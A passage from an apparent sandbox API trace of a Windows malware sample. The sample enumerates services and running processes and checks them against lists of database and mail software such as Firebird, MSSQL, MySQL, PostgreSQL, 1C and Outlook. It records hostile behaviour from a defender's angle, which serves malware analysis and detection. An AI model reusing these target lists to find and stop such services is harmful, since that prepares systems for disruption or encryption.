lpString2="ProfSvc") returned 1 [0057.231] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0057.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0057.231] lstrlenW (lpString="RpcEptMapper") returned 12 [0057.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0057.232] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0057.232] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0057.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0057.232] lstrlenW (lpString="RpcSs") returned 5 [0057.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0057.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0057.232] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0057.232] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0057.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0057.232] lstrlenW (lpString="SamSs") returned 5 [0057.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0057.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0057.232] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0057.232] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0057.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0057.232] lstrlenW (lpString="Schedule") returned 8 [0057.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0057.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0057.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0057.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0057.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0057.232] lstrlenW (lpString="SENS") returned 4 [0057.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0057.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0057.232] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0057.232] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0057.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0057.232] lstrlenW (lpString="ShellHWDetection") returned 16 [0057.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0057.232] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0057.232] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0057.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0057.232] lstrlenW (lpString="Spooler") returned 7 [0057.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0057.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0057.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0057.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0057.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0057.233] lstrlenW (lpString="swprv") returned 5 [0057.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0057.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0057.233] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0057.233] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0057.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0057.233] lstrlenW (lpString="SysMain") returned 7 [0057.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0057.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0057.233] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0057.233] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0057.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0057.233] lstrlenW (lpString="Themes") returned 6 [0057.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0057.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0057.233] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0057.233] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0057.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0057.233] lstrlenW (lpString="TrkWks") returned 6 [0057.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0057.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0057.233] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0057.233] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0057.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0057.233] lstrlenW (lpString="UxSms") returned 5 [0057.233] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0057.233] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0057.233] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0057.233] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0057.233] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0057.234] lstrlenW (lpString="VSS") returned 3 [0057.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0057.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0057.234] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0057.234] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0057.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0057.234] lstrlenW (lpString="WdiServiceHost") returned 14 [0057.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0057.234] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0057.234] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0057.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0057.234] lstrlenW (lpString="WdiSystemHost") returned 13 [0057.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0057.234] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0057.234] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0057.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0057.234] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0057.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0057.234] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0057.234] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0057.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0057.234] lstrlenW (lpString="Winmgmt") returned 7 [0057.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0057.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0057.234] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0057.234] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0057.234] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0057.234] lstrlenW (lpString="WPDBusEnum") returned 10 [0057.234] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.234] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0057.234] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0057.235] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0057.235] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0057.235] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x4023080 | out: hHeap=0x6c0000) returned 1 [0057.235] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0057.237] Process32FirstW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.237] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.238] lstrlenW (lpString="System") returned 6 [0057.238] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.238] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.238] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.238] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.238] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.238] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.238] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.238] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.238] lstrlenW (lpString="smss.exe") returned 8 [0057.238] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.239] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.239] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0057.239] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0057.239] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0057.239] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0057.239] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0057.239] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.239] lstrlenW (lpString="csrss.exe") returned 9 [0057.239] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.239] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.239] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.239] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.239] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.239] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.239] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0057.239] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.240] lstrlenW (lpString="wininit.exe") returned 11 [0057.240] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0057.240] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0057.240] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0057.240] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.240] lstrlenW (lpString="csrss.exe") returned 9 [0057.241] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.241] lstrlenW (lpString="winlogon.exe") returned 12 [0057.241] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.241] lstrlenW (lpString="services.exe") returned 12 [0057.241] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.242] lstrlenW (lpString="lsass.exe") returned 9 [0057.242] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.242] lstrlenW (lpString="lsm.exe") returned 7 [0057.242] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.243] lstrlenW (lpString="svchost.exe") returned 11 [0057.243] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.243] lstrlenW (lpString="svchost.exe") returned 11 [0057.244] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.244] lstrlenW (lpString="svchost.exe") returned 11 [0057.244] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.244] lstrlenW (lpString="svchost.exe") returned 11 [0057.245] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.245] lstrlenW (lpString="svchost.exe") returned 11 [0057.245] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.245] lstrlenW (lpString="audiodg.exe") returned 11 [0057.245] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.246] lstrlenW (lpString="svchost.exe") returned 11 [0057.246] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.246] lstrlenW (lpString="svchost.exe") returned 11 [0057.246] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.247] lstrlenW (lpString="dwm.exe") returned 7 [0057.247] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.247] lstrlenW (lpString="explorer.exe") returned 12 [0057.247] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.248] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.248] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.248] lstrlenW (lpString="taskhost.exe") returned 12 [0057.248] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.249] lstrlenW (lpString="svchost.exe") returned 11 [0057.249] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.249] lstrlenW (lpString="taskeng.exe") returned 11 [0057.249] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.250] lstrlenW (lpString="taskhost.exe") returned 12 [0057.250] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="br_maintaining.exe")) returned 1 [0057.250] lstrlenW (lpString="br_maintaining.exe") returned 18 [0057.250] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kitsenormous.exe")) returned 1 [0057.251] lstrlenW (lpString="kitsenormous.exe") returned 16 [0057.251] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intermediate-components.exe")) returned 1 [0057.251] lstrlenW (lpString="intermediate-components.exe") returned 27 [0057.251] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eminem_immigration.exe")) returned 1 [0057.252] lstrlenW (lpString="eminem_immigration.exe") returned 22 [0057.252] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp-glenn-elements.exe")) returned 1 [0057.252] lstrlenW (lpString="psp-glenn-elements.exe") returned 22 [0057.252] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stupid.exe")) returned 1 [0057.253] lstrlenW (lpString="stupid.exe") returned 10 [0057.253] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="area_burst_factors.exe")) returned 1 [0057.254] lstrlenW (lpString="area_burst_factors.exe") returned 22 [0057.254] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="addition.exe")) returned 1 [0057.254] lstrlenW (lpString="addition.exe") returned 12 [0057.254] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="kept retirement.exe")) returned 1 [0057.254] lstrlenW (lpString="kept retirement.exe") returned 19 [0057.255] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lmmold.exe")) returned 1 [0057.255] lstrlenW (lpString="lmmold.exe") returned 10 [0057.255] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma weighted.exe")) returned 1 [0057.255] lstrlenW (lpString="soma weighted.exe") returned 17 [0057.256] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cartridge donation.exe")) returned 1 [0057.256] lstrlenW (lpString="cartridge donation.exe") returned 22 [0057.256] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="anti.exe")) returned 1 [0057.257] lstrlenW (lpString="anti.exe") returned 8 [0057.257] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiersshot.exe")) returned 1 [0057.257] lstrlenW (lpString="cashiersshot.exe") returned 16 [0057.257] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poundfi.exe")) returned 1 [0057.257] lstrlenW (lpString="poundfi.exe") returned 11 [0057.258] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditions_hired.exe")) returned 1 [0057.258] lstrlenW (lpString="conditions_hired.exe") returned 20 [0057.258] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mercedes.exe")) returned 1 [0057.258] lstrlenW (lpString="mercedes.exe") returned 12 [0057.258] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="intake ringtones vegetables.exe")) returned 